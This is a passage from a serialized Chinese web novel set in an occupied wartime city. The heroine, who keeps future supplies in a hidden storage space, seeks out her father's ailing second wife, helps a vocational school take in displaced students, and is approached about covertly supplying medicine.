夏生的声音带上了哭腔:“爹要是真想我们,他会不来看我?我长这么大,还不知道爹长得什么样。你说我说得对不对?” 夏生有一条说得不对。 他出生第三年那会儿,渣爹其实从海城派了人来。来人带话说,渣爹派他来接老娘和儿子去海城享福,话里话外不提春妮和她妈。 她奶奶一辈子什么没经历过,哪还不明白,顾茂丰他这是要光明正大抛妻弃女啊! 虽说这些年他的态度摆在这,大家心里都有数,但春妮妈已经没有了娘家,渣爹这话一撂,是要把发妻往死里逼。她奶奶当即踮着小脚,将来人连东西带人打出门外,村里村外哭了好几天,把渣爹的错处都骂出来,又哭她儿媳妇守这么些年活寡,家里家外操持不容易,才堵住了那些长舌妇的嘴。 但自那以后,奶奶心里气恨不孝子,又要开解儿媳妇,一支蜡烛两头烧,日日操心,渐渐坐下病来,没两年就去了。 渣爹虽然不是个东西,但奶奶对他们娘几个一向没话说。老人家最后的遗愿,她的确不能随便敷衍。 “睡吧,明天起早些去拜年。”她蒙头倒下,把这些烦心事暂时都抛下。 夏生嘟嘟囔囔的,一会儿说不去,一会儿又问春妮,明天穿什么衣裳。春妮不理他,他自己翻了会儿身,也睡着了。 去渣爹家,跟去常先生家不一样。 春妮把姐弟两个从家乡带来的旧袄子翻出来,因为她时常穿它去买煤球,这袄子才翻晒过,倒没什么怪味,也不打眼。 她摁着夏生穿上,嘱咐他道:“一会儿去了爹家里,不要人家问什么你说什么。要装得可怜点,爹才心疼你。” 夏生嘴巴撅老高:“我才不要他心疼。”到底顺从地穿上了。 初一是走亲戚的时节,姐弟两个在电车里被挤来挤去,下车时满脸菜色,几乎分不清东西。 夏生对着道旁的梧桐树干呕几下,春妮忙抚着他的背问:“还难受不?要不要喝水。” 夏生摇摇手,没等直起身来,姐弟俩背后突然有人问:“你是……顾家大小姐?” 会这么称呼她的,满海城只有一个人。 春妮扭头过去,却先吃了一惊:“阿梅姐,你怎么变成这样了?” 来人的确是她渣爹二房老婆请的娘姨阿梅。 春妮印象中的阿梅是个圆圆短短,满脸福相的样貌,而眼前的这个女人穿着件不合身的空心大袄子,腰微微弓着,脸上几乎瘦脱了相。 发生什么事了??? 第68章 068 鸭毛街 阿梅将姐弟两个引到小洋楼外头:“看, 我说了,大小姐真的早就没在这住,这回你信了吧?” 春妮抬头看, 楼上露台处, 一个梳圆髻的娘姨在往外张望,是个以前没见过的生面孔。 “阿姨,这户人家以前的主人,你知道去哪了吗?”春妮的嗓门大,她这一喊,将邻里几户人家的窗户都喊开了。 隔壁的妇人“呀”地一声:“这不是秦家的大小姐吗?你还在海城呀?这几个月都去了哪啊?快过来我瞧瞧。” 春妮记得,这妇人夫家姓李, 前些年来海城时,李太太跟秦惠君就是邻居。不知两人先前有什么梁子, 为了给秦惠君添堵,她没少单独拦着春妮妈给她出馊主意使坏,可惜春妮妈主意正,没听过她的, 找到落脚地就从秦家搬走了。 春妮客气地道:“李太太,你知道他们的下落吗?” 李太太讶道:“你打听这些做什么?难道还要跟她做母女?” “我来找我爹, ”春妮道:“我爹一年多不见人影,我来问你们这些邻居打听打听。” 李太太这才道:“顾先生还没回来?那秦惠君天天在屋里砸东西,骂顾先生没良心, 我以为顾先生是终于受不了她的霸道,自己走了呢。” 春妮耐心地问:“那李太太知道他们哪去了吗?” 李太太掩嘴, 兴灾乐祸地笑:“这我哪知道,秦惠君保不齐去了哪家书寓当……娘姨呢。秦家呀,算是彻底败啦。可怜顾太太一个干净人儿, 往后日子难过着哪。” 春妮不言不语听着,一边的夏生不耐烦了,翻了个白眼:“姐姐,她什么都不知道,我们走吧。” 李太太登时竖起眉毛:“你这个小毛头,怎么说话的?你怎么知道我不知道?告诉你吧,前几天,我娘家兄弟在帕登路那看 见过她,她一准在那又操起了旧业。” 帕登路在爱沙路旁边,都是城西最乱的越界筑路区,春妮时常听码头那些赌棍们说起位置。若说爱沙路上到处都是赌馆,帕登路上则林立着另一处“万国博物馆”——大大小小的中外妓院。 海城的妓院也分三六九等,最上等的堂子和书寓不论,但有人沦落到帕登路,那就只能等死了。那里是海城最下等的娼寮,在战前集中着大量的外国水兵,现在是各路亡命徒的享乐天地。 如果秦惠君真的在那附近出现,她的情况可能真的不太妙。 为免李太太在胡乱吹嘘,春妮没急着去找秦惠君,先回了闸口路的家。 分别前,她塞给阿梅两块钱:“阿梅姐这回别再轻易相信别人了,拿着钱先去找个正经的住处吧。” 阿梅哭得昂昂的:“大小姐,你真是个大好人,我那时候该劝我们家大小姐把你留下来的。” 春妮心道:别了,幸好你家大小姐没收留我,否则说不定我现在跟她一样,也被人盯上了到处躲债。 春妮把来之前从家里带的糕饼给了她一块。 阿梅几乎是夺过来,几口将糕饼塞入口中。 春妮皱眉:“阿梅姐,你有多久没吃饭了?” 阿梅大约也觉得这样不体面,讪讪地低下头:“也没两天。哎呀,大小姐,我吃了你的饼,你们会不会没吃的了?” 她说:“你以后别叫我大小姐了,我也不是什么大小姐。” 阿梅:“啊?不叫大小姐,那叫什么?” “就叫我名字,我叫春妮。” “好吧,春妮。对了,我还没问过你,这些天过得怎样?” 春妮却道:“秦家这些时日发生了什么事,我到现在都没弄明白,阿梅姐,你跟我讲讲吧。” 关于秦惠君的事,阿梅知道的也不多。只知道顾茂丰走后,他们在银行的一笔贷款到期,这笔贷款正好以秦惠君之前居住的那栋小洋楼为抵押物,银行人来收债,将主仆两个赶出来后,阿梅就被秦惠君撵走了。 这已经是三个月前的事,现在秦惠君在哪,阿梅也不知道。但这妇人憨傻归憨傻,知道自己那些年能有一碗安乐茶饭吃,是托了秦惠君的福,总盼着能再遇见她,看她过得好不好,时不时便来以前秦惠君经常逗留的地方找一找。 因此,她跟春妮约好,让三天后两人在帕登路碰面,到时候一起去找一找秦惠君。 数年前春妮同母亲刚到海城,在秦家住的那几天,阿梅曾对她们有所照顾。这不是什么为难的要求,春妮答应了她。 难得她自己出了秦家被人骗光钱财,无家可归,还知道惦记旧主。 ………… 回家之前,春妮先去了春园弄王家一趟。 正好王家两兄弟和李德三都在,听了春妮的要求,王老六胸膛拍得啪啪响:“小顾姐的事就是我王家兄弟的事,我这就叫几个兄弟,一定在三天内帮您把人找出来。” 王老六在城西混了几个月,他兄弟又托春妮的福,谋着几件好活计,如今手里有些钱财,身边又跟往时一样,很是聚拢了几个酒肉朋友。 他真个将春妮当姑奶奶伺候,不出两天便捎来了消息。 “我有个兄弟曾经见过她,她以前经常去我兄弟干活的当铺当东西,不过现如今也有半个月没见到她了。” 春妮又花了点钱,请王老六的兄弟帮她找人。不想这一找,找到工厂再次开工,多米诺骨牌一套套卖出去,直到快到正月十五,才再次听见秦惠君的准讯。 “她住在华界的鸭毛街,这娘儿们,我是说,这位大姐挺机灵的,怕人找到她,每次坐车大老远专门跑到那种地方当东西,要不是我兄弟盯得紧,真要被她给溜了。” 王老六跟在她身后,略有迟疑:“她情况不是很好,我兄弟说,她得了肺痨,小顾姐,你真要去见她?” 春妮顿了顿:“这消息你是从哪来的?” “我兄弟问过她的邻居,他们都这么说。她房东说,她经常去医馆抓药熬来喝,应该是真的吧。” “那你别跟着我了,我自己一个人去。” 春妮思忖着,秦惠君若是真的得了肺痨,倒不好再叫上阿梅姐。她拿出空间里的存货武装到牙齿,倒也不惧这区区的传染病。 鸭毛街跟学校没有直通车,春妮转了好几趟车,最后在满鼻腔的腥臊味中找到了地方。 原来鸭毛街的意思就是字面上的意思,这附近是海城的肉市市场。鸭毛街恐怕集中了全海城所有的鸭子,春妮走在街上,时不时需要逐开空气中飘起的一蓬蓬细小的绒毛,街道两旁,尽是用笼子装起来的鸭子,鸭笼垒成金字塔般的山形,正列队等待开笼屠宰。 秦惠君住的老城厢就在其中一座鸭笼山后头,从店铺后边的楼梯上到二楼,秦惠君就住在二楼尽头的一间背阴小房间中。 春妮站在门边看了会儿,屋里的女人形销骨立,不过大半年的功夫,跟阿梅一样,瘦得脱了相。 这是秦惠君?这是那个身材饱满,皮肤光滑鲜嫩,每个星期要用牛奶洗脸的秦惠君? 春妮想起那些年裹在这她身上的,那些鲜艳的旗袍,只觉恍如隔世。 秦惠君握着帕子,咳嗽声顿住:“你是?” 春妮在上楼之前,头上戴了副防病毒的面罩,还给自己穿了件防护服。她的这身防护装备是末世为了应对病毒环境研发出来的最强装备,她穿在身上,安全是安全了,但很像个外星人。 秦惠君明显误会了什么,她猛地从枕头后边抽出一根棍子:“你别进来!我要叫人了!” 春妮的声音从面罩后边传出来:“你别激动,我是顾春妮。” “咳咳咳咳”,秦惠君撕心裂肺地咳起来。她身体剧烈颤抖着,棍子掉在地上,整个人也向后倒去。 春妮不得不上去扶住她,给她倒了杯水:“你先喝杯水,我们再说。” 秦惠君握着杯子,手上的青筋突出来:“你看见了,我这里什么都没有。若你是来追债的,屋里的东西,你看上哪样拿哪样,反正我也活不了多久了。” 她没听见春妮刚刚的那句话。 春妮百思不得其解:“这才半年多的功夫,你怎么变成这样了?” “我怎么变成这样了?”秦惠君咬牙切齿:“你们不是最清楚吗?我的那位好丈夫背着我贷了那么大一笔钱,不都是你们合着他干的好事?” 春妮:“……” 秦惠君厉声道:“说不出来话了吧。你们一定会不得好死的!因为,我就是死了,也会在地下日日夜夜诅咒你们!” 她说话太过用力,面上浮现一丝嫣红,眼见又要咳嗽,忙抖着手喝了口水,压下喉间的那丝痒意。 春妮听出了一点意思:“你是觉得,你丈夫没死?” “我上次不是告诉过你们,我查到他几个月前回过一次老家吗?”秦惠君道:“算了,说了你们也不会相信。” 她忽而冷笑起来:“他老家被大水冲得人毛不剩一根。顾茂丰怕是死也想不到,他的那两个小崽子没死在大水里,竟找到海城来了吧?呵呵,他这样的人,老天爷都看不过眼,活该妻离子散孤独终老,怎么会叫他儿女双全?” 秦惠君面上潮红,不知道是不是被病气激的,说的话越发颠三倒四,大部分是在骂春妮她渣爹,又哭自己命运不济,老天爷不给她活路。春妮见她语不成句,眼见着问不出什么话,却还硬撑着不敢倒下,知道她是防着自己,怕自己对她不利,春妮给她关上房门,从她屋里退了出来。 秦惠君这次透出的消息足够让春妮吃惊的了,听她的意思,她先前花钱请人去了很多地方找渣爹,得出来的消息应该不会有错。 渣爹他,真的没有死? 第69章 069 永恒 秦惠君的事, 春妮最后还是告诉给了阿梅。要不要见她,由她自己决定。 阿梅哭了一场,果然说:“我要去见大小姐, 大小姐身边不能没人伺候。” 春妮并不奇怪, 阿梅一向有些死脑筋,何况秦惠君纵有些古怪脾气,待他们这些仆欧并不刻薄。她将地址告诉给了阿梅,还给了她一些钱,叮嘱又叮嘱,让阿梅不要说出她的事。 阿梅千恩万谢,以为她是怕被秦惠君找麻烦, 再三答应自己会守口如瓶。 即便她不遵守约定,春妮也不怕。 秦惠君和她爹的事一听就很麻烦, 春妮跟这主仆俩接触时,一直很注意保护自己的隐私,连自己的住处都没透露,不怕被人顺藤摸瓜。 见过阿梅之后, 春妮又去寻了王阿进一趟,叫他们平时多盯着点秦惠君的住处, 如果看见有什么人去寻她,记得及时告诉她。 春妮之所以在这件事上这样谨慎,因为她高度怀疑渣爹是拆白党。 码头上的人见多识广, 春妮没少听他们吹嘘听说见过的各种奇人骗术,其中在吴中地区横行的拆白党屡屡见诸言谈之中。除了扒手帮, 就属这个党组织最严密,在外人眼中最神秘。在后世,“拆白党”这个词语已经发展成为代指骗人骗财的单独名词, 由此可见此党的影响力和可怕。 传说拆白党骗财骗人,有只是骗点吃喝小钱的,也有很多计划周详,走的是渣爹这样破家灭门的路数。他们有专门负责情报的人,被骗的人叫他们盯上,往往人财两空,下场凄惨。 正因有些拆白党人行事不给人留后路,仇家也不少。进了这个组织,你骗我我骗他他再骗你,再风光都只是一时,若是被人寻到老底,连累家人的也不在少数。 当然,春妮绝对不信,渣爹是为了不连累家人,才那么多年都不回乡。 渣爹若是从此消失在她生活中便罢,若是他再度出现,春妮可不想被打个措手不及。阿梅此时去秦惠君身边,恰好秦惠君没认出她,以后鸭毛街如果有什么事,反而春妮可以通过阿梅了解,也好掌握主动权。 暂时了结了渣爹那边的事之后,春妮将所有的精力再度投入到了工作上。 经过一整个春节的发酵,海城的上流社会已经刮起了一股多米诺旋风。 韩厂长借着这股东风,拿下了四大百货商场的其中三个,各大游乐园成为了工厂下一步的目标。 在节后的生产动员会上,韩厂长激情洋溢:“去年我们玩具厂的成绩有目共睹,整个多米诺市场已经被我们盘热。现在大大小小的木行,玩具厂开始对我们虎视眈眈,我们能将这个市场让出来吗?” “不能!” “没错,咱们必须得乘胜追击。从今天开始,大家伙拿出全部的精力,在工厂的,加班加点生产骨牌,负责销售的,咱们每天多跑几个游乐场,争取跑在所有人前面,那咱们就赢了。” “厂长说得对!” “我们听厂长的!” 眼瞅着韩厂长将气氛越炒越热,人人一副要为多米诺事业奉献全部的模样,春妮连忙咳嗽一声,打断了话头。 开玩笑,要是每个人都被韩厂长带动去搞多米诺事业,她的木刻事业还怎么进行下去? 春妮经过一整个春节的思考,决定先挑出五到十个学生跟着韩师父学习木刻。 明眼人一看就知道,这是一件短期之内看不出收益的傻事。 韩厂长来自木刻之乡,韩师父又是他的族伯,于情于理,他都不会反对。 郑经理倒是想反对两句,可春妮在这样的世道下带活了玩具厂,甚至带活了一个大类别玩具的市场。实绩在这,他只能自己悄摸摸嘀咕两句作罢。 最反对的,却是方校长。 方校长反对的理由也很正当:来他们学校读书的学生们,每一个都等着养家。跟韩师父学习,没个三年五年的,出不了师。哪个家庭能够承受得起长年养一个干吃饭没有产出的孩子?跟这样一群人讲艺术讲情怀,这不是消遣人吗? 春妮跟校长商量,先拨几个学生跟韩师父学习,那几个学生的一日三餐先由玩具厂垫付,等他们学成出徒之后,再将饭费放在工钱里扣回来。 方校长勉强答应了,还为此让尹老师重新拟定了一份合约,让跟韩师父学习的那些学生们签订。 但即使什么都准备得妥妥的,方校长还是忍不住打击她:“你得作好准备,没一个人愿意跟你来学。”又叹说:“你们校长我没法子像海城职业教育学校那样有本事,不然咱们的学生学习之余还有钱拿,哪还用得着想这么些办法鼓励他们学木刻?” 校长说的海城职业教育学校有些学科学习不但不付钱,校方每月还会给学生发放生活费。【注】 整个学校里,除了韩师父,就数校长对这些传统行业感情深。他反对春妮的决定,纯粹从学校的利益出发,心里未尝没报着她能办成此事的想法。 春妮只能安慰他:“海城职业教育学校再厉害,不是也在海城开不下去了吗?咱们不一样,咱们还开着呢。” 海城职业教育学校是华国第一家职业培训机构,学校成立之初云集了如北大校长,前朝学官等社会名流,名下还有一些赚钱的产业。树大招风,正因如此,他们被倭国人盯上,在去年十月的时候已经被迫关闭海城校区,迁到了内地去。 而之所以在那所学校读书有钱拿,除了社会善心人士捐赠,最主要在于校方开设的珐琅科,愿意将珐琅技术公开传授。校长在办学之前就是社会名流,他有这个资源。之后又开了个珐琅工厂,用工厂赚的钱养学校,而学生们去工厂里磨练技术,学成出师之后掌握技术,自己也能独当一面,繁荣市场。 正是得益于校方的无私传授,前朝只有王室皇族偶现其踪,高贵堂皇的珐琅器几经变迁,抵抗住来自外国的低质倾销,最终走入万千百姓家,最终变成了新华国成立之后人手一只的“搪瓷缸子”。 他们学校没有这样的资源,只能从其他方面想办法。韩师父的木刻技术或许不如珐琅技术容易普及,利润高,可常先生和方校长他们教会了春妮,有很多事,不能单纯用利润来衡量。 艺术和美是永恒的。 即使美丽被迫在乱世中蒙尘,总有一天,乱世会结束,美丽会再度绽放光华。 她结束不了乱世,但她想保护美丽。 何况这美丽不是真的毫无用处。 铜阳木刻之所以闻名于全国,是基于它数百年为吴中地区乃至全华国提供彩印年画的基础之上,正好跟春妮想做的油画彩印技术不谋而合,而韩师父本人也有一定的彩印功底。 但正如她心知肚明的,华国现有的彩印技术无法做出她想要的东西。正好学校请来的那几个化学学生在做油墨改良,她有预感,引入现代实验理论的彩印技术也许会绽放出不一样的光华。 她们没有珐琅技术作底靠,必须自己披荆斩棘,走出一条新路。 “对,报童学校倭国人也开始下手了。正因为这样,不管再困难,咱们也得接着开下去。”方校长下定了决心:“这样,那些愿意跟着韩师父学习的学生们,咱们可以设立奖励金,成绩若有卓异者,或者为工厂作出重大贡献者,学校再掏钱奖励!” 即使得到校长的大力支持,春妮心里仍然没有多少底气。 就如方校长顾虑的那样,木刻学习需要艺术素养打底,想有小成,至少需要学习三年,他们没有那么多时间培养学生。 春妮给韩厂长设了个底限,要求他跟韩师父谈判,必须在三个月之内让学生们可以制作出一幅有山有水的简笔画。 韩厂长一脸视死如归地去了,那天韩老头暴跳如雷,吼声几乎震破教室的玻璃。 但他还是同意了。 艺术再重要,也要先活下去。 韩师父底限一放再放,但他坚决要求,只收他看中的学生,其他人就是拿着钱他也不收。做这种事本来就需要悟性和天赋, 这是正当要求,春妮答应下来。 韩厂长的动员会结束后,春妮找到这些学生挨个做工作。 她原本预备着,这会是场艰难的谈判。 没想到看中的十个学生里,有五个都答应了下来。还有一个告诉她,自己家里人靠他养,实在等不了这么长时间,他能不能在每天干完半天的活之后跟着学。 春妮很惊讶,她问这个叫李铁柱的学生:“你这些天天天帮着海城的大小场子布置场面,要是停半天工,损失多少钱呢。” 李铁柱就是上次被她选中,带到英租界去摆多米诺的学生。上回他的两个同学被英国人当场看中,留了下来。他回到学校,自然而然也成了多米诺的领军人物,据说他自创了很多种新鲜的摆法,还为了多米诺快速投放,设计了一些独门手法和工具,大伙都很服气他。 后来郑经理跟春妮透露了一点李铁柱他们面试的情况,说要不是面试那会儿他的脸色太臭,太不配合,英国人肯定会留下他的。 现在学校里拿到摆多米诺的外场,每个人平均可以拿到十到三十块的报酬,虽然不是每天有这样的活,但一个月来一两单,工厂又不抽成,这生意就很不得了了。 在这其中,李铁柱最吃香,几乎每场都有他镇场子。一个月下来,粗算他至少能有一百块的赚头,现在又正是多米诺风最大,最赚钱的时候,她原本对说服李铁柱是最不抱希望的。 “小顾老师,我相信你。”李铁柱咧着嘴笑得很憨厚:“我从一开始跟着你,咱们玩具厂就数你本事大,我们厂里人能有口饭吃,全托了你本事。连木头块子都能卖得这么好,跟着你准没错。” 顾春妮望着他,李铁柱的家庭情况她略知一二,他是家中长子,上面只有一个寡母,底下却还有六个弟弟妹妹要养。 李铁柱是将全家人的前程都押在了她身上。 这份信任这样沉重……春妮不能辜负,也不敢辜负。 第70章 070 积蓄力量 一次招到五个半学生, 已经达到了完成任务的合格线,但在春妮的心里,这几个人远远不够。 谁也不知道, 他们会不会学到半路改了主意, 或是有其他变故导致学业无法继续。工业化产业链的实现需要大量高素质人才,如果能够实现春妮心中的构想,五个人岂止是不多,简直是太少了。 韩师父已经将要求降到最低,春妮也不好总为难别人。再去说服那不愿意来的几个学生吧,人家家里都有困难,谁都不好勉强。 招生这事卡在这里, 一下好些天过去,春妮的注意力已经转移到怎么盖猪圈弄猪草, 给师生们养猪养鸡改善生活上边,事情有了新的转机。 盖猪圈养猪的事暂时放下,先说韩师父学生这事。 继倭国人陆续向张先生等社会活动家以抵抗倭国统治等名义伸出黑手之后,有些他们成立, 或是在他们名下的教育组织要么被强行收缴关闭,要么看风声不对, 搬到内地继续办学。这些组织撤的撤散的散,留下很多无处进学的学生在海城。 有一些消息灵通的学生打听到他们江浦仍在开课,辗转问过来, 能不能插班。 方校长盘点了一下帐册,搓着手找到春妮:“那个, 小顾老师啊,你不要再想着养猪的事了,学校真没地方给你养猪。” 春妮以为校长怕花钱, 拿早就想好的话堵他:“校长,学生们都在长身体,每天只给别人吃两个窝窝头,那怎么够?” “那不是还有蛋花汤跟咸鱼吗?” 学校日子好过之后,校长让李德三联系渠道,赶在年后批发来大批市场为了过年积压的咸鱼,每隔几天做一次,保证每个学生至少能吃到一块鱼。 “天热了,咸鱼经不住放,到时候还吃吗?” “那……到时候再买嘛。” 春妮拉校长坐下,给他算了笔帐:“现在市面上一条杂鱼做的咸鱼一毛钱一条,一斤咸鱼也要三四毛吧?一斤上好的五花肉才六毛钱,现在一头生猪也才合两毛多的价吧?校长,你这么算,养猪不是更合算。” “那不是咸鱼有盐,贵一点应当的吧?” 春妮翻了个白眼:“是咸一点好少吃些菜,好送多的饭才对吧?” 方校长一向在她面前摆不起架子,讪笑:“你别说出来嘛。” 春妮正色道:“校长,你别总以为我想养猪是因为我嘴馋,我缺那点猪肉钱吗?想吃肉,我不会自己做了吃吗?我是发现,前两天,我领着学生晨跑时,有学生竟然连四百米都跑不下来。他们每天那么多活干,不可能是因为疏于锻炼引起,只能是体质太差,无法支持高强度的体育锻炼。我认为,我们的学生不止需要学习知识和锻炼精神,更需吃饱吃好,强健体魄,”她重重强调:“尤其是在这样险恶的社会环境下,后者说不定比前者还重要。” 校长叹了口气:“好吧,我实话同你说吧。你规划来做猪圈的地方,我有了别的用途。”他挥手制止春妮说话:“咱们的兄弟学校关了很多,很多学生们失学,咱们得接手一部分。有些主办职业教育的社团学校也有一部分学生面临无学可上的境地,我认为,这个责任我们也需要负起来。” 春妮皱眉:“那这样会不会太招人了?” 方校长摇摇头:“你之前的思路是对的。我们严控言路的话,倭国人并不会来找我们麻烦。毕竟咱们开的是职业技能学校,倭国人总要用人做事吧?” “那您准备再招多少生?” “初步估计,在两三百人左右。” 春妮斜眼看他:“校长,光常先生办的报童小学都有十所,每所规模只会比我们学校更大。两三百人,咱们新盖的瓦房都能塞下,只是一个学校的学生总数。您会专门来跟我商量让我挪位置?” 方校长无奈,虚点一下她额头:“真是个小精明鬼,什么都瞒不过你。好吧,我设想中的底限是两三百人。但只要咱们有地方,有人愿意来学,我就不可能放任学生们无处可去。” 春妮叹了口气:“那就是没有定数了?校长,你招这么些人,先不说场地的问题,有没有想过怎么管控?” 方校长沉默片刻:“只能先招进来再说。如今海城的教育毁之过半,学生们不明道理,精力又多,若是再无处可去,无事可做,万一叫街上那些骗子混混勾骗去做了坏事,甚或是吸了大|烟膏,到时候就悔之晚矣了。” 春妮终于沉默了。 校长说的是社会问题,他一个小小的校长操心不了,原本也不该他操心。可现在海城上下,当权的一心搂钱,有本事有责任感的,死的死逃的逃,若是留下来的人任由局势一崩再崩—— “我也不知道我招他们进来,能不能管住,但既然事情到了这一步,我在这个位置上,也有一点能力,能伸一把手,断然不能坐视不理。没人管他们,我管。” ………… 方校长的决定很快在教师们的下一次会议中被公布出来,旧老师们看来已经都被透过风,表现得很淡定。 只有新来的吴江大学那几名老师你看看我,我看看你,有些骚动。 校长温和地看着他们:“你们要是有什么意见直说,我们这是民主会议,什么意见都可以提。” 最后,是一名满脸痘痘的瘦高个儿男老师站出来发了言:“校长,我们这几天一直在想,学校的空间有限,能不能容纳很多学生,这是个大问题。我们在想,能不能换一种形式。比如像我们吴江大学有开读书会的传统,一般由家在吴江,有余力的学生轮流主办。咱 们可以将学生们以读书会或补习班的形式召集起来,寻找场地举行小班授课,你们看怎么样?” 方校长思索片刻,反问道:“我们去哪里找那么些老师?” “我和舒老师他们,我们都认识一些跟我们一样的同学,他们不都是吴江大学的学生,还有些其他大学的同学,他们水平都是很好的。如果学校同意的话,可以由他们充当小班老师。” “我们需要承担薪资支出,对吗?”尹老师一下问到了点子上。 这个姓计的化学老师脸腾地红了,吭哧道:“这个,我们有些同学暂时没找到工作,如果学校能为他们解决一点生存上的问题,当然很好。” 老师们沉默下来。 计老师却以为他们误会了,忙道:“我本人提出这点,绝对没有任何私心。” 不是计老师的提议不好,说到底,还是钱的问题。 这个问题,除了列席会议的韩厂长和小顾老师主动表态,谁都没有资格替他们作决定,包括方校长在内。常先生他们尽了最后的努力,于昨天将最后一笔拨款交给了学校,以后学校能生存多久,能招多少生,老师的福利好不好,只能看玩具厂,看他们能在这样恶劣的生存环境中抢下多少块肉。 “先作个粗略统计吧。”韩厂长看着方校长:“厂里赚多少钱校长心里有数。能租多少场地,招多少老师,总共这么点钱,校长你看着办。” 会议的结果出来,不出意外,学校将整个三月份都变成了招生季,招生主要面向那些辍学的学生,只要肯报名,不嫌条件艰苦,都能有书读。 方校长将学校整个春节赚的钱都狂洒出去,最终为学校招到了三千多名学生。 这三千多名学生中,只有一千名年纪小一点,住得近一些的学生在江浦学校读书,其他的均分散到市里市外的出租屋,书店,民居中,他们或三五成群,或一二十人聚拢,约好一个共同的空闲时间,采用更加灵活的方式学习知识,听老师讲课。 所有的老师在第一堂上课前都会重点强调一条没写在校规中的校规:勿!谈!国!事! 努力学习知识,努力活下来,努力积蓄力量吧。老师们说。 让我们死去的,是志气的消磨,是理想的崩塌,是火种的湮灭。理想不死,火种不灭,我们终会再起。学生们悄悄地,互相勉励。 这些新进校的学生具体有多少,春妮不清楚。 但这一千多名学生一齐挤在学校,很有些壮观。 学校剩下的几间教室迅速被占满,就连那几间开着天窗的教室也不例外。 没有房子,他们就坐在开着天窗的教室里上学,没有桌椅,他们搬来周围废墟里的碎砖码成椅子,碎纸边订的本子被端端正正放在膝头上,他们就着天光汲取知识。 每次春妮领着学生们绕过那几间教室,望着那群教室里无声仰望的孩子们,心里都会生出一种无言的震憾。 我们华国打不倒。 头一次,春妮没有依靠历史的参照,却无比笃定。 学生多出将近十倍,滋生的问题并不是太多。反而先前韩师父和春妮一直发愁的学徒问题得到了解决。 毕竟有这么多人当底子,怎么也能筛出乐意学木刻的几个好苗子。何况学木刻包三餐呢,不管这钱要不要还,至少当下不用饿肚子了不是? 这些后来的学生可没有之前的学生那样幸运,有了玩具厂做工和多米诺的外活这两样赚钱的活计。去给韩师父当学徒,这已经是这批三月份入学的学生最好的待遇了。 但这么些学生不可能都去改行当木匠。 方校长按计老师他们提供的大学同学名单又开设了会计科,速记科,化工油墨科,物理实用科,机械理论科,绘画设计科等科目让学生选择。 像比较热门的会计科,速记科还需要支付学费,其他两门课么,一般人都没听说过,这就要靠老师的忽悠能力了。 像舒老师,他愣是利用大伙都想靠多米诺赚钱的心思,忽悠了大批学生,说跟着他学,可以利用公式计算多米诺的落点规律,预设轨道,从而更高效率地完成高难度的会场布置。 春妮:“……”光看忽悠能力,舒老师绝对是包教授的嫡传弟子。他莫不是忘了,他自己布置的轨道似乎灵的次数也不多吧。 因为陡然扩招,春妮暂时将更多的时间投入到了学校。 她有预感,随着入校学生的增多,迟早会有人将目光投射到这里。 不,或许那些人已经看了过来。 想到多米诺风潮时,隐隐听到的消息,春妮心中紧迫感逾深。 她开始以更为严苛的态度教授学生,她要求他们每天长跑,在操场上布设了各种障碍物,变换口令,队列,进行拳拳到肉的对练。 她再也不像以前那样,学生们叫叫苦,就让他们先停下来休息喝水。她严格执行既定的训练计划和惩戒手段,几次下来,她成了新生最害怕的恶梦老师。 但她不在乎。 如果保住学校需要钱,她就去赚钱,如果需要拳头,那她就训练一个最硬的拳头出来。 谁敢来伸手,必将一拳见血,砸烂他的爪子! 70-80 第71章 071 保险 在学校开始大招生之前, 三月份的头一天,久违的常文远再一次到了学校。 他开着那辆黑色福特,一路招摇, 在小吃摊前停下。 “出去走走吧。”他摇下车窗, 冲忙碌的春妮打了个响指。 春妮从未见过他公子哥的这一面,解下围裙,忍不住调侃他两句:“常大公子今天贵足踏贱地,有何贵干?” 常文远吹了个口哨,配合她摇头晃脑:“若你再长个六七岁,我倒可以说,是来请美人游湖踏青, 共赏春光。可是嘛,”他啧啧两声, 故意斜眼摇头一通做作,到快把人惹毛了,才一抹笑脸,正色道:“上车吧, 真有事要跟你说。” 春妮从他话里嗅出一丝不寻常的味道,也随之敛去嘻笑的神色坐上车, 问道:“什么事?” 常文远嘴上叼了支烟,踩下油门:“我要走了。” 从常先生遇刺开始,吴江大学一直在各方奔走寻求尽快搬迁, 常文远包括常先生一家离开海城,是大家早就心知肚明的事。 话虽如此, 当常文远说出这四个字时,春妮心里仍是生出了些许怅然。 乱世之中,离别本来就是常事, 但常文远于她还是有些不同的。 这是头一个说服她动用空间物品救人的人,而且还是这个世界不该存在的空间物品。 他果然是个谨慎且守诺的人,除了那次他来寻春妮帮忙,打了两支青霉素之外,再也没有来因为此事找过她。春妮平白忐忑几月,预设了无数种意外,结果是白白惊吓一场。 不,也许不是白白惊吓…… 汽车开到海城公园,在江边停下。下了车,两人到江边站定。 常文远望着涛涛的江水,道:“今天我来找你,除了来道别,还有一件事。” 春妮静静看他,巴掌大的小脸上,眼睛扑闪扑闪。 小姑娘这些时日在学校待着,用不着风吹雨淋,又很是吃了些好东西,如今脸颊的肉鼓起来,皮肤褪去了那股黄气,显得稚气又懵懂。 他用手挡住她的眼睛:“你别这样看着我,你这样看着我,让我觉得我接下来要说的话太残忍了。” 春妮翻了个白眼:“知道残忍就别说。” 常文远:“……”所以刚刚她那眼神,是故意的吧。 他咳嗽一声,道:“我知道你不愿意跟之前的那件事牵扯过深,但我走之前,觉得应该跟你交代一下。之前的那件事——” “停!”春妮揉了揉额头:“你确定跟我说这些,对我们彼此双方都好?” “原本我也没有这个打算,但我们医疗条件太有限了。你知道的,倭国人掌控海城日渐深入,我们的人进城很难,如今找到稳定的大夫和药品渠道也很难,只能——” 春妮打断他的话:“你们的人?你是上面有人,还是下面有人?” 常文远盯着她,没作声。 春妮懂了:“不能说是吧?那我换个问题,你跟我说这些经过允许了吗?你们的人都同意吗?” 常文远点点头。 春妮吸了口气:“那他们也知道我的存在了?” 常文远道:“不是你想的那样。我只说过有这个渠道,并没有透露你的更多消息,他们连你是男是女都不知道。今天我来,就是想先征求你的同意,问你愿不愿意在必要的时候帮帮忙。” 他说得很谨慎,并不想因为二人的交情影响她的决定。毕竟,她答应下来,意味着她以前平静的生活将会发生变化。不管将要做的是好事还是坏事,都应该好好想清楚。 春妮盯着江水,半天没出声。 对这件事,她心里早有预料。影响她决定的,是常文远和他背后人物的态度。 常文远的心提了起来:小姑娘这半年来做的事他都看在眼里,明白她的能力,也知道她对倭国人的态度,她骨子里的强硬和不服输让他很欣赏。常文远本身就不赞成让小孩子做这样危险的事,明白她的态度之后,便不再勉强她。甚至还有几次遇到同样的事,宁愿另寻其他渠道,也谨守诺言,没有再打扰她。 